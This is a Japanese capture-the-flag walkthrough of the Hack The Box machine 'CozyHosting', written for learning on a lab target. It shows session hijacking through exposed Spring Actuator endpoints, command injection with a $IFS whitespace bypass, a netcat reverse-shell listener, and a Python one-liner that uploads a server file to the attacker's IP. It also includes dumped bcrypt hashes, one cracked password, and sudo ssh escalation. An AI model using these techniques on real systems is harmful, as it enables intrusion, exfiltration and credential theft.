初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「CozyHosting」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。
┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.117.141 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.117.141:22
Open 10.129.117.141:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 07:41 EDT
Initiating Ping Scan at 07:41
Scanning 10.129.117.141 [4 ports]
Completed Ping Scan at 07:41, 0.33s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:41
Completed Parallel DNS resolution of 1 host. at 07:41, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:41
Scanning 10.129.117.141 [2 ports]
Discovered open port 22/tcp on 10.129.117.141
Discovered open port 80/tcp on 10.129.117.141
Completed SYN Stealth Scan at 07:41, 0.29s elapsed (2 total ports)
Nmap scan report for 10.129.117.141
Host is up, received echo-reply ttl 63 (0.27s latency).
Scanned at 2023-09-03 07:41:04 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「cozyhosting.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
Collection
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.129.117.141 cozyhosting.htb
疎通確認を行う。
┌──(root㉿kali)-[~/work]
└─# ping cozyhosting.htb
PING cozyhosting.htb (10.129.117.141) 56(84) bytes of data.
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=1 ttl=63 time=262 ms
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=2 ttl=63 time=262 ms
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=3 ttl=63 time=258 ms
^C
--- cozyhosting.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 258.100/260.941/262.404/2.009 ms
サイト探索
httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://cozyhosting.htb/ -H "HOST: FUZZ.cozyhosting.htb" -mc all -fs 178 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://cozyhosting.htb/
:: Wordlist : FUZZ: /root/work/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.cozyhosting.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response size: 178
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 410 req/sec :: Duration: [0:03:03] :: Errors: 0 ::
何もなさそう。
ディレクトリ探索
dirsearch
を使用して探索を実施。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://cozyhosting.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/cozyhosting.htb/-_23-09-03_07-47-00.txt
Error Log: /root/.dirsearch/logs/errors-23-09-03_07-47-00.log
Target: http://cozyhosting.htb/
[07:47:01] Starting:
[07:47:21] 200 - 0B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[07:47:27] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[07:47:29] 400 - 435B - /a%5c.aspx
[07:47:30] 200 - 634B - /actuator
[07:47:30] 200 - 5KB - /actuator/env
[07:47:31] 200 - 15B - /actuator/health
[07:47:31] 200 - 10KB - /actuator/mappings
[07:47:31] 200 - 48B - /actuator/sessions
[07:47:31] 200 - 124KB - /actuator/beans
[07:47:32] 401 - 97B - /admin
[07:48:04] 200 - 0B - /engine/classes/swfupload//swfupload.swf
[07:48:04] 200 - 0B - /engine/classes/swfupload//swfupload_f9.swf
[07:48:04] 500 - 73B - /error
[07:48:04] 200 - 0B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[07:48:05] 200 - 0B - /extjs/resources//charts.swf
[07:48:09] 200 - 0B - /html/js/misc/swfupload//swfupload.swf
[07:48:11] 200 - 12KB - /index
[07:48:16] 200 - 0B - /login.wdm%2e
[07:48:16] 200 - 4KB - /login
[07:48:17] 204 - 0B - /logout
[07:48:37] 400 - 435B - /servlet/%C0%AE%C0%AE%C0%AF
admin
階層があるがlogin
ページへ飛ばされてしまう。ログインが必要なようだ。また、actuator
が動いているのでこいつを列挙で利用できそうだ。
Initial Access
Actuator
mappings
のページを表示するとJsonでサイトマップを手に入れることができる。
またsessions
のページを見ると、現在ログインしているセッションの情報が確認できる。
kanderson
のセッションが確認できるのでこいつをもらう。
Session Hijacking
先ほど確認できたkanderson
のセッション情報を開発者ツールのキャッシュに挿入し、adminページを表示してみた。
kanderson
のセッションをハイジャックできたようだ。
何やらConnectionするPOST機能があるようなのでここら辺をいじってみる。
executessh
適当にホストを「tender mirzakhani」、ユーザーを「kanderson」で飛ばしてみた。
ホスト名がダメと言われる。Burpで詳細を確認してみます。
Actuatorのmappings
機能で確認できたexecutessh
を使ってるみたいだ。
特段このmappingから見えることはないので、適当にこの機能を使ってみる。
ホスト名をこのBoxのホスト名にしてみた。そうすると鍵がないとか言われる。
そんなもの列挙では出てこなかったし、感覚的にも出てこないだろうとおもうので一旦保留。
更に色々なDataをPOSTしてみる。
勘でOS cmd Injectionを試してみた。sleepコマンドである。
Usernameに空白をいれるなと言われる。
んじゃコロンだけで飛ばしてみる。
あー、これ予想通り入力をそのままbashに投げてそうですね。しかもssh Username@host
のコマンドを打ってそうなのが見えてくる。
ちょっとこっちにnc -lnvp 22
立てて待ち受けてみますか。
あ、ダメみたいだ。何も来ない。
OS cmd Injection
Exploit考察
POSTパラメータでOS cmd Injectionを行う方針なのは変わらないが、どのようにしてPayloadを叩きこむかを考える。host
はError内容からバリデーションされてそう。username
はある程度差し込む余地がありそうだが、空白がだめといわれるので此奴をBypassさせないといけない。
Whitespace validation Bypass
良い記事があります。$IFS
または$9
を空白の代わりに入れるだけでBypassできます。
一応繋げて$IFS$9
でどっちも入れておきます。
実際にOS cmd Injectionをやってみましょう。ping -c 3
で試します。
まず、icmpパケットが到達したか確認するために以下のコマンドを打っておく。
┌──(root💀kali)-[~/work]
└─# tcpdump -i tun0 icmp
よし、Ping打ってみます。
とおりました!これでReverse Shellを張れますね!
Reverse Shell
リバースシェルを叩き込みます。いつもの以下のサイトを利用する。
このコマンドの空白を$IFS$9
に変換するために以下のようにChefを利用します。
┌──(root💀kali)-[~/work]
└─# nc -lvnp 4444
interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
Pythonのpty
を使ったあと、Ctrl
+Z
で接続をバックグラウンドにし、以下のコマンドを実行する。
┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.147] from (UNKNOWN) [10.129.117.141] 46014
id
uid=1001(app) gid=1001(app) groups=1001(app)
python3 -c 'import pty; pty.spawn("bash")'
app@cozyhosting:/app$
app@cozyhosting:/app$ ^Z
zsh: suspended nc -lnvp 4444
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg
[1] + continued nc -lnvp 4444
export TERM=xterm
app@cozyhosting:/app$
app@cozyhosting:/app$
Privilege Escalation - Horizontal
Transfer
取ったシェルではUserフラグをゲットできないので横展開が必要です。
どのUserにするかをcat /etc/passwd
で確認しておきます。
app@cozyhosting:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
josh
にならないといけなさそう。
まぁとりあえずこのアプリケーションの解析から始めます。入った直後の/app
階層にはcloudhosting-0.0.1.jar
ファイルが置かれているだけだとおもうので、このファイルを転送します。
uploadserverを起動しておきます。
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver
File upload available at /upload
攻略対象サーバーで以下コマンドを投入します。
python3 -c "import requests;requests.post(\"http://10.10.14.147:8000/upload\",files={\"files\":open(\"/app/cloudhosting-0.0.1.jar\",\"rb\")})"
転送できたのを確認できればOK!!
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.117.141 - - [04/Sep/2023 03:30:49] [Uploaded] "cloudhosting-0.0.1.jar" --> /root/work/cloudhosting-0.0.1.jar
10.129.117.141 - - [04/Sep/2023 03:30:49] "POST /upload HTTP/1.1" 204 -
postgresql
このjarファイルをjd-gui
で確認します。
※jarファイルは圧縮ファイルなのでunzip
して確認もできます。
postgres
のパスワードが確認できるのでこのクレデンシャルを使ってDBへアクセスしていきます。
app@cozyhosting:/app$ psql -h localhost -U postgres
Password for user postgres:
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
postgres=#
いけました。
では情報列挙していきます。
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-------------+----------+----------+-------------+-------------+-----------------------
cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
postgres=# \c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt;
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
cozyhosting=# \d users;
Table "public.users"
Column | Type | Collation | Nullable | Default
----------+------------------------+-----------+----------+---------
name | character varying(50) | | not null |
password | character varying(100) | | not null |
role | role | | |
Indexes:
"users_pkey" PRIMARY KEY, btree (name)
Referenced by:
TABLE "hosts" CONSTRAINT "hosts_username_fkey" FOREIGN KEY (username) REFERENCES users(name)
cozyhosting=# select * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
user情報をゲットできました。kandersonの情報は恐らくセッションハイジャックで利用した情報だとおもうので、adminのほうを復元します。
john
先ほどのクレデンシャルをJohnさんに食わして解析させます。
┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:27 DONE (2023-09-04 03:54) 0.03696g/s 103.8p/s 103.8c/s 103.8C/s dougie..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
瞬殺でした。このクレデンシャル情報をjoshのPasswordとして再利用されてないか確認します。
sshを実施してみましょう!
されてましたね。これでユーザフラグゲットデス!
Privilege Escalation - Vertical
sudo -l
パスなしで実行できるものを確認します。
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
josh@cozyhosting:~$
あ、これは簡単な奴だ。
ssh
gtfobinでExploit法を検索します。
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
Userフラグまでが少し難解なEasyくらいかな(Easy詐欺まではいかない)ってのとRootが簡単すぎたなという印象のBoxでした。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。